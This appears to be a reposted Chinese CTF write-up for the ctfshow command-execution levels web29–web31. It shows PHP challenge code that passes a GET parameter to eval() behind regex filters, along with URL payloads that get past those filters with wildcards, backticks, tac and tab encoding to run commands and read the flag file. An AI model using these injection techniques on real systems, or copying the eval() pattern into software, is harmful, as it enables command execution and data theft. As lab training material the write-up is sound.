阅读 107

ctfshow WEB入门 命令执行 web29-web122

web29

题目源码:

if(isset($_GET[‘c‘])){   
$c = $_GET[‘c‘];   
    if(!preg_match("/flag/i", $c)){      
        eval($c);   
    }   
}   
else{  
    highlight_file(__FILE__);   
}

利用函数:eval()

绕过思路:通配符绕过flag过滤

Payload1:/?c=system(“ls”); #找到flag.php

Payload2:/?c=system(“cat fla*”);

web30

题目源码

if(isset($_GET[‘c‘])){
    $c = $_GET[‘c‘];
    if(!preg_match("/flag|system|php/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

利用函数:eval()

绕过思路:过滤了system,这里使用echo。flag,php过滤继续用通配符绕过。

Payload1:?c=echo `cat *` ;

web31

题目源码

if(isset($_GET[‘c‘])){
    $c = $_GET[‘c‘];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\‘/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

利用函数:eval()

绕过思路:过滤了system,这里使用echo。flag,php过滤继续用通配符绕过。空格用%09绕过,cat被过滤了换成tac。

Payload1:?c=echo `tac%09*`;

原文:https://www.cnblogs.com/QmVzdGxteQ/p/14993496.html

文章分类
代码人生
版权声明:本站是系统测试站点,无实际运营。本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌抄袭侵权/违法违规的内容, 请发送邮件至 XXXXXXo@163.com 举报,一经查实,本站将立刻删除。
相关推荐